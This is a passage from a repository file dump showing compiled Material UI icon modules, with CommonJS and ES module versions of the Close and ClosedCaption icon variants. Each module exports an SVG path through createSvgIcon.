    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.3 5.71a.996.996 0 0 0-1.41 0L12 10.59 7.11 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 12 5.7 16.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 13.41l4.89 4.89c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 12l4.89-4.89c.38-.38.38-1.02 0-1.4\"\n}), 'CloseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\"\n}), 'CloseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaption.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 7H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaption');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaption.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 7H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaption');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-3.38-3.38c.24-.19.4-.46.4-.78v-1h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zm12.95 18.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM11 13.83l-.83-.83H9.5v.5h-2v-3h.17L6.4 9.22c-.24.19-.4.46-.4.78v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z\"\n}), 'ClosedCaptionDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-3.38-3.38c.24-.19.4-.46.4-.78v-1h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zm12.95 18.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM11 13.83l-.83-.83H9.5v.5h-2v-3h.17L6.4 9.22c-.24.19-.4.46-.4.78v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z\"\n}), 'ClosedCaptionDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1zm3.5 3.5 1.21 1.21c.18-.19.29-.44.29-.71v-1h-1.5zM8.83 6H19v10.17l1.98 1.98c0-.05.02-.1.02-.16V6c0-1.1-.9-2-2-2H6.83zm10.95 16.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm7.67 4.5L11 13.83V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18z\"\n}), 'ClosedCaptionDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1h-1.5v-.5h-2v1zm3.5 3.5 1.21 1.21c.18-.19.29-.44.29-.71v-1h-1.5zM8.83 6H19v10.17l1.98 1.98c0-.05.02-.1.02-.16V6c0-1.1-.9-2-2-2H6.83zm10.95 16.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81l18.38 18.38zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm7.67 4.5L11 13.83V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18z\"\n}), 'ClosedCaptionDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-3.38-3.38c.24-.19.4-.46.4-.78v-.5c0-.28-.22-.5-.5-.5H17c-.28 0-.5.22-.5.5h-.17l-1.83-1.83V10.5h2c0 .28.22.5.5.5h.5c.28 0 .5-.22.5-.5V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zm13.66 17.9c-.39.39-1.02.39-1.41 0l-1.9-1.9H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15l-.92-.92a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 13.83l-.83-.83H10c-.28 0-.5.22-.5.5h-2v-3h.17L6.4 9.22c-.24.19-.4.46-.4.78v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z\"\n}), 'ClosedCaptionDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16l-3.38-3.38c.24-.19.4-.46.4-.78v-.5c0-.28-.22-.5-.5-.5H17c-.28 0-.5.22-.5.5h-.17l-1.83-1.83V10.5h2c0 .28.22.5.5.5h.5c.28 0 .5-.22.5-.5V10c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zm13.66 17.9c-.39.39-1.02.39-1.41 0l-1.9-1.9H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15l-.92-.92a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 13.83l-.83-.83H10c-.28 0-.5.22-.5.5h-2v-3h.17L6.4 9.22c-.24.19-.4.46-.4.78v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z\"\n}), 'ClosedCaptionDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H21v14.17L17.83 15H18v-2h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18V9h-5v1.17zm12.95 18.61L17.17 20H3V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM11 13.83l-.83-.83H9.5v.5h-2v-3h.17L6.17 9H6v6h5z\"\n}), 'ClosedCaptionDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H21v14.17L17.83 15H18v-2h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18V9h-5v1.17zm12.95 18.61L17.17 20H3V5.83L1.39 4.22 2.8 2.81l18.38 18.38zM11 13.83l-.83-.83H9.5v.5h-2v-3h.17L6.17 9H6v6h5z\"\n}), 'ClosedCaptionDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.83 6H19v10.17l-1.4-1.4c.24-.18.4-.45.4-.77v-1h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm3.5.5c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18h10.17L11 13.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L19 16.17V6H8.83zm12.95 18.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81 18 18l1.82 1.82 1.37 1.37zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm7.67 4.5L11 13.83V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18zM18 14v-1h-1.5v.5h-.17l1.28 1.28c.23-.19.39-.46.39-.78m-3.5-2.33V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17z\"\n}, \"1\")], 'ClosedCaptionDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionDisabledTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.83 6H19v10.17l-1.4-1.4c.24-.18.4-.45.4-.77v-1h-1.5v.5h-.17l-1.83-1.83V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm3.5.5c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18h10.17L11 13.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.83 4H19c1.1 0 2 .9 2 2v12c0 .05-.01.1-.02.16L19 16.17V6H8.83zm12.95 18.61L17.17 20H5c-1.11 0-2-.9-2-2V6c0-.05.02-.1.02-.15L1.39 4.22 2.8 2.81 18 18l1.82 1.82 1.37 1.37zM7.5 13.5h2V13h.67l-2.5-2.5H7.5zm7.67 4.5L11 13.83V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.32.16-.59.4-.78L5 7.83V18zM18 14v-1h-1.5v.5h-.17l1.28 1.28c.23-.19.39-.46.39-.78m-3.5-2.33V10.5h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v.17z\"\n}, \"1\")], 'ClosedCaptionDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 5.5v13h-15v-13zM19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 7H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaptionOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 5.5v13h-15v-13zM19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 7H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaptionOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1H9.5v.5h-2v-3h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m7 0h3c.55 0 1-.45 1-1v-1h-1.5v.5h-2v-3h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\")], 'ClosedCaptionOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1H9.5v.5h-2v-3h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m7 0h3c.55 0 1-.45 1-1v-1h-1.5v.5h-2v-3h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}, \"1\")], 'ClosedCaptionOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 6.5c0 .28-.22.5-.5.5H10c-.28 0-.5-.22-.5-.5h-2v3h2c0-.28.22-.5.5-.5h.5c.28 0 .5.22.5.5v.5c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0c0 .28-.22.5-.5.5H17c-.28 0-.5-.22-.5-.5h-2v3h2c0-.28.22-.5.5-.5h.5c.28 0 .5.22.5.5v.5c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaptionOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-8 6.5c0 .28-.22.5-.5.5H10c-.28 0-.5-.22-.5-.5h-2v3h2c0-.28.22-.5.5-.5h.5c.28 0 .5.22.5.5v.5c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0c0 .28-.22.5-.5.5H17c-.28 0-.5-.22-.5-.5h-2v3h2c0-.28.22-.5.5-.5h.5c.28 0 .5.22.5.5v.5c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\"\n}), 'ClosedCaptionOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H3v16h18zm-10 7H9.5v-.5h-2v3h2V13H11v2H6V9h5zm7 0h-1.5v-.5h-2v3h2V13H18v2h-5V9h5z\"\n}), 'ClosedCaptionOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H3v16h18zm-10 7H9.5v-.5h-2v3h2V13H11v2H6V9h5zm7 0h-1.5v-.5h-2v3h2V13H18v2h-5V9h5z\"\n}), 'ClosedCaptionOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6H5v12h14zm-8 5H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2M5 6h14v12H5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H9.5v.5h-2v-3h2v.5H11v-1c0-.55-.45-1-1-1m7 0h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1h-1.5v.5h-2v-3h2v.5H18v-1c0-.55-.45-1-1-1\"\n}, \"2\")], 'ClosedCaptionOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6H5v12h14zm-8 5H9.5v-.5h-2v3h2V13H11v1c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1zm7 0h-1.5v-.5h-2v3h2V13H18v1c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3c.55 0 1 .45 1 1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2M5 6h14v12H5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1H9.5v.5h-2v-3h2v.5H11v-1c0-.55-.45-1-1-1m7 0h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-1h-1.5v.5h-2v-3h2v.5H18v-1c0-.55-.45-1-1-1\"\n}, \"2\")], 'ClosedCaptionOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H5V6h14zM7 15h3c.55 0 1-.45 1-1v-1H9.5v.5h-2v-3h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m7 0h3c.55 0 1-.45 1-1v-1h-1.5v.5h-2v-3h2v.5H18v-1c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1\"\n}), 'ClosedCaptionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ClosedCaptionOutlined.mjs",
